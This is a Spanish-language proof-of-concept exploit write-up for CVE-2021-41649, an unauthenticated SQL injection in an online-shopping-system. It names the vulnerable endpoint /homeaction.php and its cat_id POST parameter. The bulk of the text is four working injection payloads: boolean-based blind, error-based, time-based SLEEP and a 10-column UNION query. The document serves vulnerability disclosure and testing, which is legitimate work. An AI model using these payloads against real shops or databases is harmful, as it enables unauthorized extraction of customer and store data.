mobiusbinary/cve-2021-41649Exploit de prueba de concepto para CVE-2021-41649 que demuestra una inyección SQL no autenticada en online-shopping-system a través del parámetro cat_id, con cargas útiles de tipo booleano, basadas en errores, basadas en tiempo y consultas UNION.
CVE-2021-41649 Inyección SQL en online-shopping-system
El online-shopping-system es vulnerable a ataques de inyección SQL de tipo error/boolean-based blind y error-based sin autenticación.
El parámetro cat_id en la página /homeaction.php no sanitiza la entrada del usuario, por lo que un atacante puede extraer datos sensibles de la base de datos MySQL subyacente.
URL: /homeaction.php
PARÁMETRO: cat_id
Parámetro: cat_id (POST Request)
Tipo: boolean-based blind
Título: AND boolean-based blind - WHERE or HAVING clause
Payload: cat_id=4' AND 9760=9760 AND 'ZCfc'='ZCfc&get_seleted_Category=1
Tipo: error-based
Título: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cat_id=4' AND (SELECT 4034 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(4034=4034,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'sGIO'='sGIO&get_seleted_Category=1
Tipo: time-based blind
Título: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat_id=4' AND (SELECT 9762 FROM (SELECT(SLEEP(5)))PAcf) AND 'hpHO'='hpHO&get_seleted_Category=1
Tipo: UNION query
Título: Generic UNION query (NULL) - 10 columns
Payload: cat_id=4' UNION ALL SELECT CONCAT(0x71707a7171,0x746e4d4b5a706566596771585179566943487446575673515244507a52507345694d6b5a754d7049,0x71787a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&get_seleted_Category=1
Jason Colyvas
MOBIUSBINARY
21 de septiembre de 2021
